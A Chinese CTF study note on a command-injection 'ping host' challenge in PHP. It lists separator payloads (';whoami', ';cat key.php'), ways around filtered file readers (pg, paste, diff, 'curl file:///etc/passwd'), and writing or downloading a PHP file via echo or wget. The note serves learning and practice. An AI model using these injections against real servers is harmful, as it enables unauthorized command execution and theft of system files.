题目类型
环境:CentOS+Apache+PHP+MySQL
题目:ping主机
考点分析
1.过滤 ; && || 等多条命令连接符;
2.过滤cat more less等文件读取命令;
解题思路
第一步 ping 127.0.0.1 看看命令是否能够正确执行
- linux如果不指定-c 会一直ping下去
- windows默认ping4次
第二步 ping 127.0.0.1;whoami 看看是否过滤; 如果未过滤 直接执行第三步 如果过滤了 尝试&& ||
第三步 ping 127.0.0.1;cat key.php 看看是否过滤cat等 如果过滤了 尝试pg curl等
- Linux
- 通常如下命令被过滤:cat、tac、rev、more、less、head、tail、nl、ob
- 通常如下命令未被过滤: pg、paste、diff、curl
- curl 由于需要key.php的绝对路径 所以 还需要先pwd 然后再curl
- Windows
基础知识1:执行系统命令接口
执行系统命令接口
php
- system
- eval
- exec
- shell_exec()
基础知识2:连续执行多条命令
Linux连续执行多条命令(Linux连续执行多条命令 - xngeer - 博客园)(Linux 有哪些命令连接符?_Sunny04的博客-CSDN博客_linux命令控制台 连续符)
- ;
- a;b;c;d 依次执行a b c d,即使某个命令执行失败,也会一直执行到最后一个命令
- 示例:echo 1;echoo 2;echo 3;echo 4
- &&
- a&&b&&c&&d 依次执行 a b c d,如果遇到某个命令执行错误,后面其余命令不再执行
- 示例:echo 1&&echoo 2&&echo 3&&echo 4
- ||
- a||b||c||d 只有前面命令执行失败,才会执行后面命令
- 示例:echoo 1||echo 2||echo 3||echo 4
- & 后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
- 示例 root@ubuntu: d & e & f
[1] 14271
[2] 14272 - 后台执行任务d和e,而在前台执行任务f. shell将作业数目显示在方括号[ ]中,同时还显示了在后台运行的每个进程的PID(process identification,进程标识)编号。在f结束后就 会立即得到一个shell提示符,此时d或者e还可能尚未执行完毕。
- | 管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
- 示例 root@ubuntu: x | y | z
- 在第1个作业中,shell将任务x的标准输出重定向到任务y的标准输入,同时还将y的标准输出重定向到z的标准输入
- > 重定向 命令没有回显 可以重定向到一个文件 然后再把这个文件读取出来 就相当于可以查看命令执行结果了
Windows连续执行多条命令(Windows7环境下命令行一次运行多条命令_automation13的博客-CSDN博客)
- &
- a&b&c&d 依次执行a b c d,即使某个命令执行失败,也会一直执行到最后一个命令
- 示例:echo 1&echoo 2&echo 3&echo 4
- &&
- a&&b&&c&&d 依次执行 a b c d,如果遇到某个命令执行错误,后面其余命令不再执行
- 示例:echo 1&&echoo 2&&echo 3&&echo 4
- ||
- a||b||c||d 只有前面命令执行失败,才会执行后面命令
- 示例:echoo 1||echo 2||echo 3||echo 4
- |
基础知识3:查看文件命令
Linux查看文件命令(linux 浏览查看文件more,less,head,tail,cat,tac,od,nl命令使用简介 - 一苏沨来 - 博客园)
如下命令通常被过滤
- cat 由第一行开始显示档案内容(concatenate)
- tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写!
- rev 行号不反向、行内容反向读取文件内容
- more 一页一页的显示档案内容
- less 与 more 类似,但是比 more 更好的是,他可以往前翻页!
- head 只看头几行
- tail 只看尾巴几行
- tailf
- nl 显示的时候,顺道输出行号
- od 以二进位的方式读取档案内容
- bzmore
- bzless
- bzdiff
如下命令通常未被过滤(考试重点)
- pg 分页显示文件内容,page的缩写
- curl
- curl file:///etc/passwd
- curl file://C:/Windows/win.ini
- paste 用于合并文件的列
- paste ./key.txt /etc/passwd
- diff 用于比较文件的差异
- diff ./key.txt /etc/passwd
如果不能读 可以考虑写(没听懂)
- echo '' > 1.php
- wget 自己写一个 wget下一个
Windows读取文件命令
windows
1.cd /d e:/1.txt
2.某个目录地址栏输入cmd 直接在当前目录打开cmd
CTF命令执行及绕过技巧
CTF命令执行及绕过技巧_JBlock的博客-CSDN博客_ctf 命令绕过
RCE的Bypass与骚姿势总结
https://www.ershicimi.com/p/8686da2df137de562a0e61eaeefd2f52
检测命令注入时没有回显
检测命令注入时没有回显_小 白 渣的博客-CSDN博客_ctf 模板注入 不回显